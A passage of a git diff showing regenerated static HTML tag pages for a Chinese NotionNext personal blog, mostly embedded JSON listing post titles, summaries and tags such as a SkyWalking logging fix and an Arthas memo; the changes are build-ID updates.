2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=e8fd9138-663d-415d-9684-24343fb3248f","pageCoverThumbnail":"https://source.unsplash.com/random?t=e8fd9138-663d-415d-9684-24343fb3248f","tagItems":[{"name":"工具","color":"pink"},{"name":"推荐","color":"red"},{"name":"折腾","color":"purple"}],"password":""},{"id":"e013510c-b3a7-4907-b4cd-118b118d30db","date":{"start_date":"2024-03-20","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240320-arthas","tags":["工具","开发","推荐"],"summary":"Arthas在排查Java应用线上问题的时候有大用处,并且可以是热部署工具,这里我推荐几个我常用的方法","title":"Arthas简单使用备忘录","status":"Published","publishDate":1710892800000,"publishDay":"Mar 20, 2024","lastEditedDate":"2024-03-20T04:52:10.213Z","lastEditedDay":"Mar 20, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=e013510c-b3a7-4907-b4cd-118b118d30db","pageCoverThumbnail":"https://source.unsplash.com/random?t=e013510c-b3a7-4907-b4cd-118b118d30db","tagItems":[{"name":"工具","color":"pink"},{"name":"开发","color":"pink"},{"name":"推荐","color":"red"}],"password":""},{"id":"7e13a286-a275-4f48-b9d0-416c9b1368ce","date":{"start_date":"2024-03-19","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240319-xmrig","tags":["建站","推荐","开发"],"summary":"叮咚!阿里云提示你,你的服务器正在被攻击!","title":"Xmrig挖矿入侵服务器排查","status":"Published","publishDate":1710806400000,"publishDay":"Mar 19, 2024","lastEditedDate":"2024-03-19T17:15:42.884Z","lastEditedDay":"Mar 19, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=7e13a286-a275-4f48-b9d0-416c9b1368ce","pageCoverThumbnail":"https://source.unsplash.com/random?t=7e13a286-a275-4f48-b9d0-416c9b1368ce","tagItems":[{"name":"建站","color":"brown"},{"name":"推荐","color":"red"},{"name":"开发","color":"pink"}],"password":""},{"id":"ce6b6618-a118-4ee9-b74c-33a848d0f0ed","date":{"time_zone":"Asia/Shanghai","start_date":"2024-01-19","start_time":"13:00"},"type":"Post","category":"技术分享","slug":"article/240119-notion","tags":["建站","推荐","工具","docker","自动化","折腾","git"],"summary":"之前一直使用GitPage+typora+hexo来做文章分享管理,奈何真的麻烦坚持不下去了。Notion是我一直在使用的笔记软件,为了更好的使用Notion我还去看了许多文章。现在Notion已经是我生活的一部分了。最近发现NotionNext,但需要Vercel部署,还需要自己映射域名。所以想着用xx.github.io域名,优雅又方便","title":"Notion文章自动同步GitPage","status":"Published","publishDate":1705622400000,"publishDay":"Jan 19, 2024","lastEditedDate":"2024-03-19T17:14:00.935Z","lastEditedDay":"Mar 19, 2024","fullWidth":false,"pageIcon":"📗","pageCover":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3\u0026q=85\u0026fm=jpg\u0026crop=entropy\u0026cs=srgb\u0026t=ce6b6618-a118-4ee9-b74c-33a848d0f0ed","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3\u0026q=50\u0026fm=webp\u0026crop=entropy\u0026cs=srgb\u0026t=ce6b6618-a118-4ee9-b74c-33a848d0f0ed\u0026width=800\u0026fmt=webp","tagItems":[{"name":"建站","color":"brown"},{"name":"推荐","color":"red"},{"name":"工具","color":"pink"},{"name":"docker","color":"gray"},{"name":"自动化","color":"blue"},{"name":"折腾","color":"purple"},{"name":"git","color":"default"}],"password":""},{"id":"38e3f997-dad9-46b8-99bb-d3042488821f","date":{"start_date":"2024-01-24","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240124-deploy","tags":["推荐","工具","自动化","微服务"],"summary":"微服务jar包越来越多,每次手动上线的时候都要运行一大堆命令,并且每个人备份的jar包名称目录都不一样。故写了一个脚本规定死流程,并且把脚本配置到环境变量做自动补全。","title":"Java部署脚本\u0026重启备份检查\u0026配置环境","status":"Published","publishDate":1706054400000,"publishDay":"Jan 24, 2024","lastEditedDate":"2024-01-24T07:18:46.139Z","lastEditedDay":"Jan 24, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=38e3f997-dad9-46b8-99bb-d3042488821f","pageCoverThumbnail":"https://source.unsplash.com/random?t=38e3f997-dad9-46b8-99bb-d3042488821f","tagItems":[{"name":"推荐","color":"red"},{"name":"工具","color":"pink"},{"name":"自动化","color":"blue"},{"name":"微服务","color":"red"}],"password":""},{"id":"026c5c21-3604-4c0a-a13c-ccb9208e4815","date":{"start_date":"2024-01-21","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240121-skywaking","tags":["推荐","开发","日志","微服务","spring","skywalking"],"summary":"一年半以前,公司就从单体应用逐步迁移到微服务管理。奈何业务绑定太深,一直在两边混合开发。由于迁移到微服务的进程完成了一大半了,之前在单体项目中打的链路追踪就不太好用了。随即想到了SkyWalking,随即发现了一个大坑,那就是在gateway组件中logback日志会丢失TraceId,网上搜了一圈都没有解决问题,我又跑到SkyWalking的issue中搜了一大圈,发现大佬以下回答,还是得自己想办法。","title":"解决SkyWalking在gateway中logback链路丢失","status":"Published","publishDate":1705795200000,"publishDay":"Jan 21, 2024","lastEditedDate":"2024-01-20T18:52:32.627Z","lastEditedDay":"Jan 20, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=026c5c21-3604-4c0a-a13c-ccb9208e4815","pageCoverThumbnail":"https://source.unsplash.com/random?t=026c5c21-3604-4c0a-a13c-ccb9208e4815","tagItems":[{"name":"推荐","color":"red"},{"name":"开发","color":"pink"},{"name":"日志","color":"red"},{"name":"微服务","color":"red"},{"name":"spring","color":"purple"},{"name":"skywalking","color":"blue"}],"password":""}],"posts":[{"id":"026c5c21-3604-4c0a-a13c-ccb9208e4815","date":{"start_date":"2024-01-21","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240121-skywaking","tags":["推荐","开发","日志","微服务","spring","skywalking"],"summary":"一年半以前,公司就从单体应用逐步迁移到微服务管理。奈何业务绑定太深,一直在两边混合开发。由于迁移到微服务的进程完成了一大半了,之前在单体项目中打的链路追踪就不太好用了。随即想到了SkyWalking,随即发现了一个大坑,那就是在gateway组件中logback日志会丢失TraceId,网上搜了一圈都没有解决问题,我又跑到SkyWalking的issue中搜了一大圈,发现大佬以下回答,还是得自己想办法。","title":"解决SkyWalking在gateway中logback链路丢失","status":"Published","publishDate":1705795200000,"publishDay":"Jan 21, 2024","lastEditedDate":"2024-01-20T18:52:32.627Z","lastEditedDay":"Jan 20, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=026c5c21-3604-4c0a-a13c-ccb9208e4815","pageCoverThumbnail":"https://source.unsplash.com/random?t=026c5c21-3604-4c0a-a13c-ccb9208e4815","tagItems":[{"name":"推荐","color":"red"},{"name":"开发","color":"pink"},{"name":"日志","color":"red"},{"name":"微服务","color":"red"},{"name":"spring","color":"purple"},{"name":"skywalking","color":"blue"}],"password":""}],"tag":"skywalking"},"__N_SSG":true},"page":"/tag/[tag]","query":{"tag":"skywalking"},"buildId":"xl8RIHPvivYKGN-nsdmr6","runtimeConfig":{"NODE_ENV_API":"prod","THEMES":["example","fukasawa","gitbook","heo","hexo","matery","medium","nav","next","nobelium","plog","simple"]},"isFallback":false,"gsp":true,"scriptLoader":[]}</script></body></html>
\ No newline at end of file
+              </script></div><script id="__NEXT_DATA__" type="application/json" crossorigin="">{"props":{"pageProps":{"NOTION_CONFIG":{"AUTHOR":"Both Savage","BIO":"talk is cheap","TITLE":"Both Savage","DESCRIPTION":"talk is cheap","LINK":"https://bothsavage.github.io/","THEME":"gitbook","CAN_COPY":"true","SINCE":"2024","CONTACT_EMAIL":"bothsavage@163.com","CUSTOM_MENU":"true","CUSTOM_RIGHT_CLICK_CONTEXT_MENU":"false","LANG":"en-US","THEME_SWITCH":"true","POST_SHARE_BAR_ENABLE":"true"},"notice":null,"siteInfo":{"title":"Both Savage","description":"一个NotionNext搭建的博客","pageCover":"https://www.notion.so/images/page-cover/nasa_robert_stewart_spacewalk_2.jpg","icon":"https://www.notion.so/image/https%3A%2F%2Fprod-files-secure.s3.us-west-2.amazonaws.com%2Feb3e1328-8f32-4ff5-8d18-8ea80020e175%2Fc5ebdc5a-c3fd-403e-906b-17d64db6d01f%2Ffavicon.ico?table=collection\u0026id=3c6ddc29-47df-43f6-a375-de1c3a9cf466\u0026t=3c6ddc29-47df-43f6-a375-de1c3a9cf466\u0026width=800"},"allNavPages":[{"id":"e8fd9138-663d-415d-9684-24343fb3248f","title":"mac体验ollama本地大模型","pageCoverThumbnail":"https://source.unsplash.com/random?t=e8fd9138-663d-415d-9684-24343fb3248f","category":"技术分享","tags":["工具","推荐","折腾"],"summary":"m1 pro芯片+32g体验了五种大模型本地部署","slug":"article/240325-ollama","pageIcon":"🗒️","lastEditedDate":"2024-03-26T05:49:00.447Z"},{"id":"e013510c-b3a7-4907-b4cd-118b118d30db","title":"Arthas简单使用备忘录","pageCoverThumbnail":"https://source.unsplash.com/random?t=e013510c-b3a7-4907-b4cd-118b118d30db","category":"技术分享","tags":["工具","开发","推荐"],"summary":"Arthas在排查Java应用线上问题的时候有大用处,并且可以是热部署工具,这里我推荐几个我常用的方法","slug":"article/240320-arthas","pageIcon":"🗒️","lastEditedDate":"2024-03-20T04:52:10.213Z"},{"id":"7e13a286-a275-4f48-b9d0-416c9b1368ce","title":"Xmrig挖矿入侵服务器排查","pageCoverThumbnail":"https://source.unsplash.com/random?t=7e13a286-a275-4f48-b9d0-416c9b1368ce","category":"技术分享","tags":["建站","推荐","开发"],"summary":"叮咚!阿里云提示你,你的服务器正在被攻击!","slug":"article/240319-xmrig","pageIcon":"🗒️","lastEditedDate":"2024-03-19T17:15:42.884Z"},{"id":"38e3f997-dad9-46b8-99bb-d3042488821f","title":"Java部署脚本\u0026重启备份检查\u0026配置环境","pageCoverThumbnail":"https://source.unsplash.com/random?t=38e3f997-dad9-46b8-99bb-d3042488821f","category":"技术分享","tags":["推荐","工具","自动化","微服务"],"summary":"微服务jar包越来越多,每次手动上线的时候都要运行一大堆命令,并且每个人备份的jar包名称目录都不一样。故写了一个脚本规定死流程,并且把脚本配置到环境变量做自动补全。","slug":"article/240124-deploy","pageIcon":"🗒️","lastEditedDate":"2024-01-24T07:18:46.139Z"},{"id":"026c5c21-3604-4c0a-a13c-ccb9208e4815","title":"解决SkyWalking在gateway中logback链路丢失","pageCoverThumbnail":"https://source.unsplash.com/random?t=026c5c21-3604-4c0a-a13c-ccb9208e4815","category":"技术分享","tags":["推荐","开发","日志","微服务","spring","skywalking"],"summary":"一年半以前,公司就从单体应用逐步迁移到微服务管理。奈何业务绑定太深,一直在两边混合开发。由于迁移到微服务的进程完成了一大半了,之前在单体项目中打的链路追踪就不太好用了。随即想到了SkyWalking,随即发现了一个大坑,那就是在gateway组件中logback日志会丢失TraceId,网上搜了一圈都没有解决问题,我又跑到SkyWalking的issue中搜了一大圈,发现大佬以下回答,还是得自己想办法。","slug":"article/240121-skywaking","pageIcon":"🗒️","lastEditedDate":"2024-01-20T18:52:32.627Z"},{"id":"ce6b6618-a118-4ee9-b74c-33a848d0f0ed","title":"Notion文章自动同步GitPage","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3\u0026q=50\u0026fm=webp\u0026crop=entropy\u0026cs=srgb\u0026t=ce6b6618-a118-4ee9-b74c-33a848d0f0ed\u0026width=800\u0026fmt=webp","category":"技术分享","tags":["建站","推荐","工具","docker","自动化","折腾","git"],"summary":"之前一直使用GitPage+typora+hexo来做文章分享管理,奈何真的麻烦坚持不下去了。Notion是我一直在使用的笔记软件,为了更好的使用Notion我还去看了许多文章。现在Notion已经是我生活的一部分了。最近发现NotionNext,但需要Vercel部署,还需要自己映射域名。所以想着用xx.github.io域名,优雅又方便","slug":"article/240119-notion","pageIcon":"📗","lastEditedDate":"2024-03-19T17:14:00.935Z"},{"id":"d3216be6-1b27-40e7-8677-7404896b7eb6","title":"示例文章","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3\u0026q=50\u0026fm=webp\u0026crop=entropy\u0026cs=srgb\u0026t=d3216be6-1b27-40e7-8677-7404896b7eb6\u0026width=800\u0026fmt=webp","category":"心情随笔","tags":["建站","文字","推荐"],"summary":"这是示例的文章摘要,摘要内容可被用做搜索,预览。文章列表默认展示概要;若要在列表直接展示文章内容,可在blog.config.js中配置。","slug":"article/example","pageIcon":"🗓️","lastEditedDate":"2024-01-19T06:18:08.580Z"},{"id":"54d97ca6-33d5-40e6-8c8b-0ad4a4e9a0bf","title":"开始","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3\u0026q=50\u0026fm=webp\u0026crop=entropy\u0026cs=srgb\u0026t=54d97ca6-33d5-40e6-8c8b-0ad4a4e9a0bf\u0026width=800\u0026fmt=webp","category":"知行合一","tags":["建站","文字","推荐"],"summary":"这是示例的文章摘要,摘要内容可被用做搜索,预览。文章列表默认展示概要;若要在列表直接展示文章内容,可在blog.config.js中配置。","slug":"article/begin","pageIcon":"🏐","lastEditedDate":"2024-01-19T09:15:24.923Z"}],"tagOptions":[{"id":"d9f66761-0396-4e80-be5c-2ab6c7f8ba86","name":"推荐","color":"red","count":8},{"id":"ee932bde-0023-446f-9bb4-17d2022121c9","name":"文字","color":"brown","count":2},{"id":"25b1074b-a3fa-49f5-82cd-a37d85c5666f","name":"工具","color":"pink","count":4},{"id":"1e90f00e-8f1b-4665-8e69-92f0791bde56","name":"开发","color":"pink","count":3},{"id":"2382b30f-9881-4a8b-ae7f-2d34979c4fb9","name":"建站","color":"brown","count":4},{"id":"50765df4-40d8-4098-a1b4-abf97b9ce1d2","name":"docker","color":"gray","count":1},{"id":"114a1313-d952-45e1-8bb5-8bf0b7d3c372","name":"自动化","color":"blue","count":2},{"id":"986f04d2-1cd1-4f47-84ba-2c692e069d93","name":"折腾","color":"purple","count":2},{"id":"88f6276a-b475-4a62-a2b6-438606516ec8","name":"git","color":"default","count":1},{"id":"11c42291-5274-44a7-94a3-f4af3382896b","name":"日志","color":"red","count":1},{"id":"e89abe8e-9228-48f8-8bb0-582d8343eb91","name":"微服务","color":"red","count":2},{"id":"c002f5d1-02d9-41b0-954e-6f6a5978b3e0","name":"spring","color":"purple","count":1},{"id":"9fb08037-26be-4513-a5b2-ada51bcfeb9c","name":"skywalking","color":"blue","count":1}],"categoryOptions":[{"id":"a4dcd33a-34a7-4c33-b9c2-92d3a5248f06","name":"知行合一","color":"pink","count":1},{"id":"8282ff59-f160-40c3-ab7e-6e970a0a64d5","name":"技术分享","color":"purple","count":6},{"id":"edd604ab-fda7-4d9b-964a-e7de536c05a0","name":"心情随笔","color":"orange","count":1}],"customNav":[{"icon":"fas fa-home","name":"主页","to":"//","target":"_self","show":true}],"customMenu":[{"id":"5263856d-837a-4f2d-bfc6-24cbff6c946c","icon":"fab fa-github","date":{"start_date":"2021-03-13"},"type":"Menu","slug":"https://github.com/BOTHSAVAGE","summary":"这是一个指向外部地址的单页","title":"Github","status":"Published","category":"","publishDate":1615593600000,"publishDay":"Mar 13, 2021","lastEditedDate":"2024-01-18T16:12:17.114Z","lastEditedDay":"Jan 18, 2024","fullWidth":false,"pageIcon":"","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"https://github.com/BOTHSAVAGE","name":"Github","password":"","show":true,"target":"_blank"},{"id":"29e65d89-d04e-4ee3-9a9d-2f8856ed3055","icon":"fas fa-archive","date":{"start_date":"2023-03-23"},"type":"Menu","slug":"#","title":"往期整理","status":"Published","category":"","publishDate":1679529600000,"publishDay":"Mar 23, 2023","lastEditedDate":"2024-01-18T16:12:17.113Z","lastEditedDay":"Jan 18, 2024","fullWidth":false,"pageIcon":"","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"#","name":"往期整理","password":"","show":true,"subMenus":[{"id":"d88da7cd-eebc-4c92-b9c3-53910376ab83","icon":"fas fa-clock-rotate-left","date":{"start_date":"2021-07-02"},"type":"SubMenu","slug":"/archive","title":"历史归档","status":"Published","category":"","publishDate":1625184000000,"publishDay":"Jul 2, 2021","lastEditedDate":"2024-01-18T16:12:17.115Z","lastEditedDay":"Jan 18, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"/archive","name":"历史归档","password":"","show":true},{"id":"7d039e15-c906-470d-b781-943032713368","icon":"fas fa-th","date":{"start_date":"2021-07-02"},"type":"SubMenu","slug":"/category","title":"文章分类","status":"Published","category":"","publishDate":1625184000000,"publishDay":"Jul 2, 2021","lastEditedDate":"2024-01-18T16:12:17.114Z","lastEditedDay":"Jan 18, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"/category","name":"文章分类","password":"","show":true},{"id":"e746c4ee-0327-4529-85ac-7059a10091d3","icon":"fas fa-tag","date":{"start_date":"2021-07-02"},"type":"SubMenu","slug":"/tag","title":"文章标签","status":"Published","category":"","publishDate":1625184000000,"publishDay":"Jul 2, 2021","lastEditedDate":"2024-01-18T16:12:17.115Z","lastEditedDay":"Jan 18, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"/tag","name":"文章标签","password":"","show":true}]}],"postCount":1,"latestPosts":[{"id":"e8fd9138-663d-415d-9684-24343fb3248f","date":{"start_date":"2024-03-25","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240325-ollama","tags":["工具","推荐","折腾"],"summary":"m1 pro芯片+32g体验了五种大模型本地部署","title":"mac体验ollama本地大模型","status":"Published","publishDate":1711324800000,"publishDay":"Mar 25, 2024","lastEditedDate":"2024-03-26T05:49:00.447Z","lastEditedDay":"Mar 26, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=e8fd9138-663d-415d-9684-24343fb3248f","pageCoverThumbnail":"https://source.unsplash.com/random?t=e8fd9138-663d-415d-9684-24343fb3248f","tagItems":[{"name":"工具","color":"pink"},{"name":"推荐","color":"red"},{"name":"折腾","color":"purple"}],"password":""},{"id":"e013510c-b3a7-4907-b4cd-118b118d30db","date":{"start_date":"2024-03-20","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240320-arthas","tags":["工具","开发","推荐"],"summary":"Arthas在排查Java应用线上问题的时候有大用处,并且可以是热部署工具,这里我推荐几个我常用的方法","title":"Arthas简单使用备忘录","status":"Published","publishDate":1710892800000,"publishDay":"Mar 20, 2024","lastEditedDate":"2024-03-20T04:52:10.213Z","lastEditedDay":"Mar 20, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=e013510c-b3a7-4907-b4cd-118b118d30db","pageCoverThumbnail":"https://source.unsplash.com/random?t=e013510c-b3a7-4907-b4cd-118b118d30db","tagItems":[{"name":"工具","color":"pink"},{"name":"开发","color":"pink"},{"name":"推荐","color":"red"}],"password":""},{"id":"7e13a286-a275-4f48-b9d0-416c9b1368ce","date":{"start_date":"2024-03-19","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240319-xmrig","tags":["建站","推荐","开发"],"summary":"叮咚!阿里云提示你,你的服务器正在被攻击!","title":"Xmrig挖矿入侵服务器排查","status":"Published","publishDate":1710806400000,"publishDay":"Mar 19, 2024","lastEditedDate":"2024-03-19T17:15:42.884Z","lastEditedDay":"Mar 19, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=7e13a286-a275-4f48-b9d0-416c9b1368ce","pageCoverThumbnail":"https://source.unsplash.com/random?t=7e13a286-a275-4f48-b9d0-416c9b1368ce","tagItems":[{"name":"建站","color":"brown"},{"name":"推荐","color":"red"},{"name":"开发","color":"pink"}],"password":""},{"id":"ce6b6618-a118-4ee9-b74c-33a848d0f0ed","date":{"time_zone":"Asia/Shanghai","start_date":"2024-01-19","start_time":"13:00"},"type":"Post","category":"技术分享","slug":"article/240119-notion","tags":["建站","推荐","工具","docker","自动化","折腾","git"],"summary":"之前一直使用GitPage+typora+hexo来做文章分享管理,奈何真的麻烦坚持不下去了。Notion是我一直在使用的笔记软件,为了更好的使用Notion我还去看了许多文章。现在Notion已经是我生活的一部分了。最近发现NotionNext,但需要Vercel部署,还需要自己映射域名。所以想着用xx.github.io域名,优雅又方便","title":"Notion文章自动同步GitPage","status":"Published","publishDate":1705622400000,"publishDay":"Jan 19, 2024","lastEditedDate":"2024-03-19T17:14:00.935Z","lastEditedDay":"Mar 19, 2024","fullWidth":false,"pageIcon":"📗","pageCover":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3\u0026q=85\u0026fm=jpg\u0026crop=entropy\u0026cs=srgb\u0026t=ce6b6618-a118-4ee9-b74c-33a848d0f0ed","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3\u0026q=50\u0026fm=webp\u0026crop=entropy\u0026cs=srgb\u0026t=ce6b6618-a118-4ee9-b74c-33a848d0f0ed\u0026width=800\u0026fmt=webp","tagItems":[{"name":"建站","color":"brown"},{"name":"推荐","color":"red"},{"name":"工具","color":"pink"},{"name":"docker","color":"gray"},{"name":"自动化","color":"blue"},{"name":"折腾","color":"purple"},{"name":"git","color":"default"}],"password":""},{"id":"38e3f997-dad9-46b8-99bb-d3042488821f","date":{"start_date":"2024-01-24","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240124-deploy","tags":["推荐","工具","自动化","微服务"],"summary":"微服务jar包越来越多,每次手动上线的时候都要运行一大堆命令,并且每个人备份的jar包名称目录都不一样。故写了一个脚本规定死流程,并且把脚本配置到环境变量做自动补全。","title":"Java部署脚本\u0026重启备份检查\u0026配置环境","status":"Published","publishDate":1706054400000,"publishDay":"Jan 24, 2024","lastEditedDate":"2024-01-24T07:18:46.139Z","lastEditedDay":"Jan 24, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=38e3f997-dad9-46b8-99bb-d3042488821f","pageCoverThumbnail":"https://source.unsplash.com/random?t=38e3f997-dad9-46b8-99bb-d3042488821f","tagItems":[{"name":"推荐","color":"red"},{"name":"工具","color":"pink"},{"name":"自动化","color":"blue"},{"name":"微服务","color":"red"}],"password":""},{"id":"026c5c21-3604-4c0a-a13c-ccb9208e4815","date":{"start_date":"2024-01-21","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240121-skywaking","tags":["推荐","开发","日志","微服务","spring","skywalking"],"summary":"一年半以前,公司就从单体应用逐步迁移到微服务管理。奈何业务绑定太深,一直在两边混合开发。由于迁移到微服务的进程完成了一大半了,之前在单体项目中打的链路追踪就不太好用了。随即想到了SkyWalking,随即发现了一个大坑,那就是在gateway组件中logback日志会丢失TraceId,网上搜了一圈都没有解决问题,我又跑到SkyWalking的issue中搜了一大圈,发现大佬以下回答,还是得自己想办法。","title":"解决SkyWalking在gateway中logback链路丢失","status":"Published","publishDate":1705795200000,"publishDay":"Jan 21, 2024","lastEditedDate":"2024-01-20T18:52:32.627Z","lastEditedDay":"Jan 20, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=026c5c21-3604-4c0a-a13c-ccb9208e4815","pageCoverThumbnail":"https://source.unsplash.com/random?t=026c5c21-3604-4c0a-a13c-ccb9208e4815","tagItems":[{"name":"推荐","color":"red"},{"name":"开发","color":"pink"},{"name":"日志","color":"red"},{"name":"微服务","color":"red"},{"name":"spring","color":"purple"},{"name":"skywalking","color":"blue"}],"password":""}],"posts":[{"id":"026c5c21-3604-4c0a-a13c-ccb9208e4815","date":{"start_date":"2024-01-21","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240121-skywaking","tags":["推荐","开发","日志","微服务","spring","skywalking"],"summary":"一年半以前,公司就从单体应用逐步迁移到微服务管理。奈何业务绑定太深,一直在两边混合开发。由于迁移到微服务的进程完成了一大半了,之前在单体项目中打的链路追踪就不太好用了。随即想到了SkyWalking,随即发现了一个大坑,那就是在gateway组件中logback日志会丢失TraceId,网上搜了一圈都没有解决问题,我又跑到SkyWalking的issue中搜了一大圈,发现大佬以下回答,还是得自己想办法。","title":"解决SkyWalking在gateway中logback链路丢失","status":"Published","publishDate":1705795200000,"publishDay":"Jan 21, 2024","lastEditedDate":"2024-01-20T18:52:32.627Z","lastEditedDay":"Jan 20, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=026c5c21-3604-4c0a-a13c-ccb9208e4815","pageCoverThumbnail":"https://source.unsplash.com/random?t=026c5c21-3604-4c0a-a13c-ccb9208e4815","tagItems":[{"name":"推荐","color":"red"},{"name":"开发","color":"pink"},{"name":"日志","color":"red"},{"name":"微服务","color":"red"},{"name":"spring","color":"purple"},{"name":"skywalking","color":"blue"}],"password":""}],"tag":"skywalking"},"__N_SSG":true},"page":"/tag/[tag]","query":{"tag":"skywalking"},"buildId":"mm0_cWkCfdum_vxo9wL_b","runtimeConfig":{"NODE_ENV_API":"prod","THEMES":["example","fukasawa","gitbook","heo","hexo","matery","medium","nav","next","nobelium","plog","simple"]},"isFallback":false,"gsp":true,"scriptLoader":[]}</script></body></html>
\ No newline at end of file
diff --git a/tag/spring.html b/tag/spring.html
index b7f2f01b2..e35844345 100644
--- a/tag/spring.html
+++ b/tag/spring.html
@@ -1,8 +1,8 @@
-<!DOCTYPE html><html lang="zh-CN"><head><title>spring | Tags | Both Savage</title><meta name="theme-color" content="#000000"/><meta name="viewport" content="width=device-width, initial-scale=1.0, maximum-scale=5.0, minimum-scale=1.0"/><meta name="robots" content="follow, index"/><meta charSet="UTF-8"/><meta name="keywords" content="Notion, 博客"/><meta name="description" content="talk is cheap"/><meta property="og:locale" content="en_US"/><meta property="og:title" content="spring | Tags | Both Savage"/><meta property="og:description" content="talk is cheap"/><meta property="og:url" content="https://bothsavage.github.io//tag/spring"/><meta property="og:image" content="https://www.notion.so/images/page-cover/nasa_robert_stewart_spacewalk_2.jpg"/><meta property="og:site_name" content="Both Savage"/><meta property="og:type" content="website"/><meta name="twitter:card" content="summary_large_image"/><meta name="twitter:description" content="talk is cheap"/><meta name="twitter:title" content="spring | Tags | Both Savage"/><meta name="referrer" content="no-referrer-when-downgrade"/><meta name="next-head-count" content="18"/><link rel="icon" href="/favicon.ico"/><link rel="preload" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.4.0/css/all.min.css" as="style" crossorigin="anonymous"/><link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.4.0/css/all.min.css" crossorigin="anonymous" referrerPolicy="no-referrer"/><link rel="preload" as="font" type="font/woff2" data-href="https://fonts.googleapis.com/css?family=Bitter&amp;display=swap"/><link rel="preload" as="font" type="font/woff2" data-href="https://fonts.googleapis.com/css2?family=Noto+Sans+SC:wght@300&amp;display=swap"/><link rel="preload" as="font" type="font/woff2" data-href="https://fonts.googleapis.com/css2?family=Noto+Serif+SC:wght@300&amp;display=swap"/><link data-next-font="" rel="preconnect" href="/" crossorigin="anonymous"/><link rel="preload" href="/_next/static/css/06c69360ab4a808f.css" as="style" crossorigin=""/><link rel="stylesheet" href="/_next/static/css/06c69360ab4a808f.css" crossorigin="" data-n-g=""/><noscript data-n-css=""></noscript><script defer="" crossorigin="" nomodule="" src="/_next/static/chunks/polyfills-c67a75d1b6f99dc8.js"></script><script src="/_next/static/chunks/webpack-3c2098fe4d6464d4.js" defer="" crossorigin=""></script><script src="/_next/static/chunks/framework-b7fa4bf8e1ae99a1.js" defer="" crossorigin=""></script><script src="/_next/static/chunks/main-30e956e31ac22080.js" defer="" crossorigin=""></script><script src="/_next/static/chunks/pages/_app-e7616ab64265e571.js" defer="" crossorigin=""></script><script src="/_next/static/chunks/pages/tag/%5Btag%5D-27fd94272e69240a.js" defer="" crossorigin=""></script><script src="/_next/static/xl8RIHPvivYKGN-nsdmr6/_buildManifest.js" defer="" crossorigin=""></script><script src="/_next/static/xl8RIHPvivYKGN-nsdmr6/_ssgManifest.js" defer="" crossorigin=""></script><style id="__jsx-763a7ba965151bca">.dark body{background-color:black}</style></head><body class="font-sans font-light scroll-smooth"><div id="__next"><div id="theme-gitbook" class="bg-white dark:bg-hexo-black-gray w-full h-full min-h-screen justify-center dark:text-gray-300"><div id="top-nav" class="fixed top-0 w-full z-40 undefined"><div style="height:0px;will-change:height" class="md:hidden overflow-hidden duration-200 "><div class="bg-white dark:bg-hexo-black-gray pt-1 py-2 lg:hidden "><nav id="nav" class=" text-md"><div class="hover:text-green-600 px-7 w-full text-left duration-200 dark:bg-hexo-black-gray dark:border-black"><a target="_blank" class="py-2 w-full my-auto items-center justify-between flex  " href="https://github.com/BOTHSAVAGE"><div><div class="fab fa-github text-center w-4 mr-4"></div>Github</div></a></div><div class="hover:text-green-600 px-7 w-full text-left duration-200 dark:bg-hexo-black-gray dark:border-black"><div class="py-2 font-extralight flex justify-between cursor-pointer  dark:text-gray-200 no-underline tracking-widest"><div><div class="fas fa-archive text-center w-4 mr-4"></div>往期整理</div><div class="inline-flex items-center "><i class="px-2 fas fa-chevron-right transition-all duration-200 "></i></div></div></div><div style="height:0px;will-change:height" class=" overflow-hidden duration-200 "><div class=" not:last-child:border-b-0 border-b dark:border-gray-800 py-2 px-14 cursor-pointer hover:bg-gray-100 dark:text-gray-200 font-extralight dark:bg-black text-left justify-start text-gray-600 bg-gray-50 dark:hover:bg-gray-900 tracking-widest transition-all duration-200"><a target="_self" 